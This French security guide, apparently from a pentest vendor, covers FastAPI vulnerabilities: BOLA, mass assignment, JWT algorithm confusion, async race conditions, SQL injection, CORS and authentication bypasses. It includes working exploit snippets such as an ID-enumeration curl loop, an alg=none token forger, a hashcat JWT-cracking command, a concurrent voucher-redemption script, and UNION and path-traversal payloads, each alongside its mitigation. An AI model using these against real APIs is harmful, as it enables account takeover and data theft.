TL;DR
FastAPI vous offre le parsing automatique des entrées, la documentation OpenAPI et des bases OAuth2 — rien de tout cela ne prévient le BOLA, la confusion d'algorithme JWT, l'assignation de masse ou les conditions de course asynchrones. Le framework est sécurisé par défaut uniquement pour les préoccupations de couche transport. L'autorisation, la validation des tokens et la gestion d'état concurrente sûre relèvent entièrement de votre responsabilité.
FastAPI (0.115+) gère la sérialisation, la désérialisation et la génération de schémas OpenAPI via Pydantic v2. Le système d'injection de dépendances (Depends()) offre un chemin propre pour brancher l'authentification. Ce sont de véritables avantages par rapport aux frameworks WSGI nus.
Le malentendu critique est ce que FastAPI ne fournit pas :
Depends(get_current_user) confirme l'identité. Il ne vérifie pas que l'utilisateur authentifié possède la ressource au paramètre de chemin.OAuth2PasswordBearer comme extracteur de token — une classe qui lit l'en-tête Authorization. La vérification de signature, la restriction d'algorithme et la validation des claims doivent être implémentées par le développeur en utilisant une bibliothèque séparée.CORSMiddleware doit être ajouté explicitement, et sa mauvaise configuration est aisée.extra="allow" ou utiliser le mauvais schéma pour l'entrée rend tous les champs supplémentaires disponibles pour l'application.La surface d'attaque d'une application FastAPI est principalement déterminée par les décisions du développeur, pas par les valeurs par défaut du framework. Ce guide parcourt les vecteurs les plus impactants avec du code d'exploit fonctionnel et des mitigations vérifiées.
Le Broken Object Level Authorization est la catégorie de vulnérabilité API la plus exploitée en 2025–2026. Les paramètres de chemin FastAPI facilitent l'introduction du BOLA : chaque route qui accepte {resource_id} sans vérification de propriété est un candidat.
from fastapi import FastAPI, Depends
from sqlalchemy.orm import Session
app = FastAPI()
@app.get("/users/{user_id}/profile")
def get_profile(user_id: int, db: Session = Depends(get_db)):
# Pas de vérification que le requêteur possède user_id
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profileAvec un token valide pour n'importe quel compte, un attaquant itère user_id de 1 à N et lit chaque profil. Les IDs entiers séquentiels rendent l'énumération triviale. Les UUID réduisent la découvrabilité mais ne remplacent pas les vérifications d'autorisation.
# Étape 1 — s'authentifier en tant qu'utilisateur peu privilégié
TOKEN=$(curl -s -X POST https://api.target.com/token \
-d "username=attacker&password=password123" | jq -r .access_token)
# Étape 2 — itérer les IDs de ressources
for id in $(seq 1 500); do
curl -s -H "Authorization: Bearer $TOKEN" \
https://api.target.com/users/$id/profile \
| grep -v '"detail":"Not found"' && echo " [HIT] user_id=$id"
doneTurbo Intruder (Burp Suite) parallélise cela à des centaines de requêtes par seconde.
from typing import Annotated
from fastapi import Depends, HTTPException, status
@app.get("/users/{user_id}/profile")
def get_profile(
user_id: int,
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
# Vérification de propriété : le principal doit posséder la ressource
if current_user.id != user_id and not current_user.is_admin:
raise HTTPException(status_code=403, detail="Forbidden")
profile = db.query(UserProfile).filter(UserProfile.user_id == user_id).first()
if not profile:
raise HTTPException(status_code=404, detail="Not found")
return profilePour une couverture approfondie, consultez les fondamentaux IDOR / BOLA.
| Aspect | FastAPI | Flask |
|---|---|---|
| Enforcement des types de paramètres de chemin | Automatique (Pydantic) | Manuel ou via le convertisseur int: |
| Câblage des dépendances d'auth | Depends() — explicite, composable | Décorateurs ou g.user — ad hoc |
| Exposition des IDs via OpenAPI | Auto-documenté via /openapi.json | Manuel si flask-restx/apispec utilisé |
| Découvrabilité du BOLA | Élevée — toutes les routes documentées | Faible — pas de schéma par défaut |
| Détection par scanner | Élevée — le schéma révèle les IDs énumérables | Moyenne — nécessite un crawl |
L'endpoint /openapi.json de FastAPI est un cadeau pour les attaquants : il répertorie chaque paramètre de chemin, son type et si l'authentification est requise. Auditez toujours votre schéma OpenAPI avant de mettre en production.
extra="allow" et au-delàL'assignation de masse se produit lorsqu'un serveur accepte des champs fournis par le client qui ne devraient pas être modifiables — typiquement role, is_admin, verified, credits ou balance. Pydantic v2 est strict par défaut, mais les développeurs assouplissent régulièrement cette contrainte.
from pydantic import BaseModel
class UserUpdate(BaseModel):
model_config = {"extra": "allow"} # Accepte n'importe quel champ envoyé par le client
name: str
email: str
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserUpdate, db: Session = Depends(get_db)):
user = db.query(User).filter(User.id == user_id).first()
# model_dump() inclut les champs supplémentaires injectés par le client
for key, value in payload.model_dump().items():
setattr(user, key, value)
db.commit()
return usercurl -X PUT https://api.target.com/users/42 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Attacker", "email": "attacker@evil.com", "is_admin": true, "role": "admin"}'Si le modèle de base de données dispose des colonnes is_admin et role, elles seront définies.
Même sans extra="allow", utiliser le modèle ORM ou le schéma de réponse comme schéma d'entrée expose les champs de privilèges :
# Dangereux : utilisation du modèle ORM complet comme entrée
@app.put("/users/{user_id}")
async def update_user(user_id: int, payload: UserSchema): # UserSchema inclut role, is_admin
...from typing import Annotated
from pydantic import BaseModel
class UserUpdateRequest(BaseModel):
model_config = {"extra": "forbid"} # Rejette les champs inconnus avec 422
name: str
email: str
# role, is_admin, verified ne sont PAS présents ici
class UserResponse(BaseModel):
id: int
name: str
email: str
role: str # Visible dans la réponse, PAS modifiable depuis l'entrée
@app.put("/users/{user_id}", response_model=UserResponse)
async def update_user(
user_id: int,
payload: UserUpdateRequest, # Schéma d'entrée avec liste d'autorisation
current_user: Annotated[User, Depends(get_current_user)],
db: Session = Depends(get_db),
):
...Utilisez des schémas Pydantic distincts pour l'entrée, la sortie et la représentation interne. N'utilisez jamais un unique UserSchema pour ces trois contextes. Apprenez-en plus sur cette classe de vulnérabilité dans mass assignment.
L'OAuth2PasswordBearer de FastAPI extrait un bearer token de l'en-tête Authorization et le passe à votre dépendance get_current_user. Tout ce qui suit — la validation — relève de votre code.
graph TD
A[Le client envoie un JWT] --> B[Vérification de l'algorithme]
B -->|alg=none accepté| C[Contournement de signature -- saut d'auth complet]
B -->|confusion RS256 vers HS256| D[Signature avec clé publique -- contournement auth]
B -->|HS256 secret faible| E[Brute force -- forge n'importe quel token]
B -->|Algorithme correct| F[Vérification des claims]
F -->|exp absent| G[Token n'expire jamais -- replay indéfini]
F -->|injection kid| H[Path traversal && SSRF via paramètre kid]
F -->|Claims valides| I[Requête authentifiée]python-jose jusqu'à la version 3.3.0 (CVE-2024-33663, CVSS 7.4 HIGH) échoue à appliquer une utilisation correcte des clés pour les clés ECDSA OpenSSH et ne valide pas adéquatement que l'algorithme dans l'en-tête JWT correspond au type de clé. Cela permet des attaques de confusion d'algorithme où un attaquant modifie le champ alg pour contourner la vérification de signature.
La documentation de FastAPI recommandait précédemment python-jose. Depuis 2024, la documentation officielle a été mise à jour pour recommander PyJWT.
CVE-2025-45768 — PyJWT v2.10.1 a été trouvé à accepter des tokens HS256 signés avec des secrets dangereusement courts sans appliquer une longueur de clé minimale (CVSS 7.0 HIGH, contesté). La bibliothèque délègue le choix de la robustesse de la clé à l'application.
alg=noneimport base64, json
# Décoder un vrai token pour obtenir un payload valide
header = base64.b64decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" + "==")
# Modifier : définir alg à none et élever le rôle
forged_header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b"=").decode()
forged_payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1", "role": "admin", "exp": 9999999999}).encode()
).rstrip(b"=").decode()
# La signature est vide pour alg=none
forged_token = f"{forged_header}.{forged_payload}."import jwt # PyJWT
# VULNÉRABLE : pas de restriction d'algorithme
def get_current_user(token: str = Depends(oauth2_scheme)):
payload = jwt.decode(token, SECRET_KEY) # Accepte none, HS256, RS256 -- tous
return payloadimport jwt
from jwt.exceptions import InvalidTokenError
SECRET_KEY = os.environ["JWT_SECRET"] # Ne jamais coder en dur
ALGORITHM = "HS256"
def get_current_user(token: str = Depends(oauth2_scheme)):
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=["HS256"], # Liste d'autorisation explicite — ne jamais omettre
options={"require": ["exp", "sub", "iat"]}, # Appliquer les claims obligatoires
)
except InvalidTokenError as exc:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid token", # Générique — ne pas répercuter le message d'exception
headers={"WWW-Authenticate": "Bearer"},
)
return payloadPour une analyse approfondie des vecteurs d'attaque JWT incluant l'injection kid et la manipulation JKU, consultez JWT overview et JWT alg=none.
Robustesse du secret HS256 : Utilisez un secret aléatoire d'au minimum 32 caractères. Un secret faible comme secret, changeme ou un mot du dictionnaire peut être cracké avec hashcat mode 16500 en quelques secondes sur un GPU grand public :
hashcat -a 0 -m 16500 target.jwt /usr/share/wordlists/rockyou.txtLes handlers async FastAPI s'exécutent sur un seul thread de boucle d'événements. Lorsqu'un await cède le contrôle, une autre coroutine peut s'exécuter et modifier l'état partagé. Cela crée une fenêtre TOCTOU (Time-of-Check to Time-of-Use) exploitable avec des requêtes concurrentes.
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# VÉRIFICATION : le bon est-il encore valide ?
voucher = await db.get(Voucher, code)
if voucher.used:
raise HTTPException(status_code=400, detail="Already used")
# <<< await ici cède le contrôle à la boucle d'événements >>>
# Une autre requête pour le même code peut passer la vérification ci-dessus
await asyncio.sleep(0) # Simule n'importe quelle opération I/O
# UTILISATION : marquer comme utilisé (fenêtre de course — deux requêtes peuvent arriver ici)
voucher.used = True
current_user.credits += voucher.amount
await db.commit()import asyncio, httpx
async def exploit():
async with httpx.AsyncClient() as client:
# Envoyer 20 requêtes de rachat concurrentes pour le même bon
tasks = [
client.post(
"https://api.target.com/redeem-voucher",
json={"code": "PROMO50"},
headers={"Authorization": f"Bearer {TOKEN}"},
)
for _ in range(20)
]
results = await asyncio.gather(*tasks)
successes = [r for r in results if r.status_code == 200]
print(f"Redeemed {len(successes)} times with a single-use code")
asyncio.run(exploit())from sqlalchemy import update
from sqlalchemy.exc import NoResultFound
@app.post("/redeem-voucher")
async def redeem_voucher(code: str, current_user: User = Depends(get_current_user), db: AsyncSession = Depends(get_db)):
# Compare-and-set atomique : ne réussit que si used=False en ce moment précis
result = await db.execute(
update(Voucher)
.where(Voucher.code == code, Voucher.used == False)
.values(used=True)
.returning(Voucher.amount)
)
row = result.fetchone()
if row is None:
raise HTTPException(status_code=400, detail="Voucher invalid or already used")
# Sûr : nous détenons le verrou exclusif via l'UPDATE atomique
current_user.credits += row.amount
await db.commit()Pour les tâches en arrière-plan, le risque est différent : BackgroundTasks s'exécute après l'envoi de la réponse, dans le même processus worker. Si le processus redémarre, la tâche est perdue sans retry ni visibilité. Ne placez jamais des ajustements de crédits, des envois d'e-mails ou des écritures de logs d'audit dans BackgroundTasks sans clé d'idempotence et file d'attente de secours. Consultez race conditions pour le contexte général.
Piège async supplémentaire : utiliser threading.Lock() dans un endpoint async def bloque toute la boucle d'événements — utilisez asyncio.Lock() à la place.
L'ORM de SQLAlchemy est sûr contre les injections par défaut. La surface d'injection est text() avec une interpolation de chaîne — un pattern qui contourne toute paramétrisation.
from sqlalchemy import text
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
# VULNÉRABLE : f-string injecte l'entrée utilisateur directement dans SQL
query = text(f"SELECT * FROM users WHERE name LIKE '%{term}%'")
result = await db.execute(query)
return result.fetchall()Payload : term = %' UNION SELECT username, password, null FROM users --
from sqlalchemy import text, select
from sqlalchemy.orm import DeclarativeBase
# Option 1 — text() paramétré
@app.get("/search")
async def search_users(term: str, db: AsyncSession = Depends(get_db)):
query = text("SELECT id, name, email FROM users WHERE name LIKE :pattern")
result = await db.execute(query, {"pattern": f"%{term}%"})
return result.fetchall()
# Option 2 — requête ORM (préférée)
@app.get("/search-orm")
async def search_users_orm(term: str, db: AsyncSession = Depends(get_db)):
result = await db.execute(
select(User).where(User.name.ilike(f"%{term}%")) # ilike utilise une liaison paramétrée
)
return result.scalars().all()Les noms de colonnes et de tables dynamiques ne peuvent pas être paramétrés — ils doivent être validés contre une liste d'autorisation explicite :
ALLOWED_SORT_COLUMNS = {"name", "created_at", "email"}
@app.get("/users")
async def list_users(sort_by: str = "name", db: AsyncSession = Depends(get_db)):
if sort_by not in ALLOWED_SORT_COLUMNS:
raise HTTPException(status_code=400, detail="Invalid sort column")
# Sûr : le nom de colonne provient de la liste d'autorisation, pas de l'entrée brute
result = await db.execute(text(f"SELECT * FROM users ORDER BY {sort_by}"))
return result.fetchall()Apprenez-en plus sur les patterns d'injection dans SQL injection.
Le CORSMiddleware de FastAPI n'est pas actif par défaut. Lorsque les développeurs l'ajoutent pour corriger une erreur CORS du navigateur pendant le développement, ils empruntent fréquemment le chemin de la moindre résistance :
from fastapi.middleware.cors import CORSMiddleware
# Configuration de développement dangereuse qui passe en production
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # N'importe quel origin
allow_credentials=True, # Cookies et en-têtes Authorization
allow_methods=["*"], # N'importe quelle méthode HTTP
allow_headers=["*"], # N'importe quel en-tête
)La spécification du navigateur interdit de combiner allow_origins=["*"] avec allow_credentials=True. Le middleware de FastAPI accepte silencieusement cette combinaison et supprime l'en-tête Access-Control-Allow-Credentials de la réponse. Le danger réside dans un pattern plus subtil : la réflexion de l'en-tête Origin :
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.requests import Request
class BadCORSMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
response = await call_next(request)
# VULNÉRABLE : tout origin devient de confiance
origin = request.headers.get("origin", "")
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return responseAvec ce pattern, une page malveillante sur https://attacker.com peut effectuer des requêtes avec credentials vers l'API cible et lire les réponses. Il s'agit d'une escalade CSRF classique — l'attaquant lit l'état en plus de déclencher des mutations. Consultez CSRF pour les détails d'exploitation complets.
ALLOWED_ORIGINS = [
"https://app.yourdomain.com",
"https://admin.yourdomain.com",
]
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS, # Liste d'autorisation explicite
allow_credentials=True,
allow_methods=["GET", "POST", "PUT", "DELETE"],
allow_headers=["Authorization", "Content-Type"],
max_age=600,
)Pour les environnements de staging et de prévisualisation, autorisez dynamiquement les sous-domaines de votre propre domaine — jamais null (qui correspond aux origins file:// et aux iframes en sandbox) et jamais une correspondance basée sur regex sans ancrage.
Le système Depends() de FastAPI est élégant et composable, ce qui crée un mode de défaillance spécifique : une authentification optionnelle qui devient effectivement nulle.
auto_error=Falsefrom fastapi.security import OAuth2PasswordBearer
# Avec auto_error=False, les tokens manquants retournent None au lieu de 401
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/token", auto_error=False)
async def get_optional_user(token: str | None = Depends(oauth2_scheme)) -> User | None:
if token is None:
return None
return verify_token(token)
# VULNÉRABLE : le développeur a oublié de gérer le cas None
@app.get("/dashboard/stats")
async def get_stats(user: User | None = Depends(get_optional_user)):
# user peut être None ici — l'endpoint est non authentifié
return db.query(SensitiveStats).all()FastAPI évalue les dépendances de haut en bas. Un pattern courant où l'auth réside dans une sous-dépendance crée un risque de contournement silencieux :
async def get_current_user(token: str = Depends(oauth2_scheme)):
if not token:
return None # Oublié de lever une exception ici
return verify_and_return_user(token)
async def require_auth(user: User = Depends(get_current_user)):
# Cette vérification est correcte
if user is None:
raise HTTPException(status_code=401)
return user
# MAIS : si quelqu'un câble get_current_user directement au lieu de require_auth...
@app.delete("/admin/users/{user_id}")
async def delete_user(user_id: int, user = Depends(get_current_user)): # Bug : mauvaise dépendance
# user peut être None — suppression sans auth
db.query(User).filter(User.id == user_id).delete()Vérification en pentest : rejouez chaque endpoint sensible sans l'en-tête Authorization. Toute réponse 200 indique une chaîne de dépendances brisée.
FastAPI ne dispose d'aucun rate limiting intégré. Chaque endpoint est ouvert à l'énumération à pleine vitesse à moins d'en ajouter explicitement un. La lacune affecte :
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
@app.post("/token")
@limiter.limit("5/minute") # Par IP, par minute
async def login(request: Request, form_data: OAuth2PasswordRequestForm = Depends()):
...from slowapi import Limiter
from slowapi.util import get_remote_address
# Le stockage Redis garantit que les limites sont partagées entre tous les processus workers et pods
limiter = Limiter(
key_func=get_remote_address,
storage_uri="redis://redis:6379/0",
)Dans Kubernetes avec 5 réplicas, une limite 5/minute par IP avec stockage en mémoire devient effectivement 25/minute. Le stockage Redis applique la limite globalement. Pour les APIs de production, préférez le rate limiting au niveau de la gateway (Traefik, Kong, Nginx) comme couche de défense en profondeur qui ne peut pas être contournée en attaquant directement un pod.
Un engagement FastAPI structuré suit cette séquence, en correspondance avec l'OWASP API Top 10 2023 :
Phase 1 — Découverte
/openapi.json et analysez toutes les routes, paramètres, schémas et définitions de sécurité.{user_id}, {order_id}, {document_id})./docs (Swagger UI) et /redoc sont exposés en production — ils ne devraient pas l'être.Phase 2 — Tests d'authentification
auto_error=False brisées).alg=none et la confusion d'algorithme (RS256 vers HS256).hashcat -m 16500).exp : soumettez un token avec exp défini sur un timestamp passé.kid : soumettez des tokens avec kid défini sur des payloads de path traversal (../../dev/null, ../../../etc/passwd).Phase 3 — Autorisation (BOLA / BFLA)
Phase 4 — Entrées et injections
is_admin, role, verified, credits) à chaque endpoint POST et PUT. Vérifiez s'ils apparaissent dans les réponses GET suivantes.' OR '1'='1, ' UNION SELECT null --.aaaaaaaaaaaaaaaaaaaaaaab et plus long — surveillez les timeouts.Phase 5 — Conditions de course
asyncio parallèles pour cibler la fenêtre TOCTOU.Phase 6 — Infrastructure
Origin: https://attacker.com à tous les endpoints API. Vérifiez si Access-Control-Allow-Origin: https://attacker.com est retourné.pip show python-multipart. Les versions antérieures à 0.0.7 sont vulnérables à CVE-2024-24762.Le pipeline automatisé de BreachVex détecte FastAPI via l'endpoint /openapi.json et l'empreinte de l'interface /docs. Une fois identifié, un ensemble de sondes spécifiques à FastAPI s'active :
Sonde BOLA : le nœud de cartographie extrait tous les paramètres de chemin du schéma OpenAPI. La squad BOLA itère les IDs de 1 à 200 (et les patterns UUID le cas échéant) sur chaque endpoint paramétré, en corrélant les réponses pour confirmer les fuites de données.
Manipulation JWT : la squad auth extrait le JWT d'une session authentifiée, décode l'en-tête et génère trois variantes forgées : alg=none, HS256 signé avec les 100 secrets faibles les plus courants, et un token expiré avec exp supprimé. Les trois sont rejouées contre chaque endpoint authentifié.
Assignation de masse : chaque endpoint POST et PUT reçoit une requête avec les champs documentés plus un ensemble de champs d'élévation de privilèges (role, is_admin, verified, admin, superuser, permissions, credits, balance). La réponse est comparée à un GET de référence pour la même ressource afin de détecter la persistance des champs.
Sonde ReDoS (CVE-2024-24762) : si l'application accepte des données de formulaire, un en-tête Content-Type forgé avec une entrée à backtracking catastrophique est envoyé. Un timeout de réponse dépassant 5 secondes est signalé comme une découverte confirmée avec la référence CVE.
Preuve d'exploitation : chaque découverte confirmée inclut une commande curl reproduisant la vulnérabilité depuis zéro — sans outillage requis, sans faux positifs.
| CVE | Composant | CVSS | Corrigé dans | Impact |
|---|---|---|---|---|
| CVE-2024-24762 | python-multipart < 0.0.7 | 7.5 HIGH | FastAPI 0.109.1 | ReDoS via en-tête Content-Type — DoS complet |
| CVE-2024-33663 | python-jose ≤ 3.3.0 | 7.4 HIGH | Migrer vers PyJWT | Confusion d'algorithme — contournement auth |
| CVE-2025-45768 | PyJWT 2.10.1 | 7.0 HIGH | Contesté — appliquer la longueur de clé | Secrets HS256 faibles non rejetés |
| CVE-2025-46814 | fastapi-guard < 2.0.0 | 7.5 HIGH | fastapi-guard 2.0.0 | Injection X-Forwarded-For — contournement IP |
| CVE-2022-29217 | PyJWT < 2.4.0 | 7.5 HIGH | PyJWT 2.4.0 | Confusion d'algorithme — RS256 vers HS256 |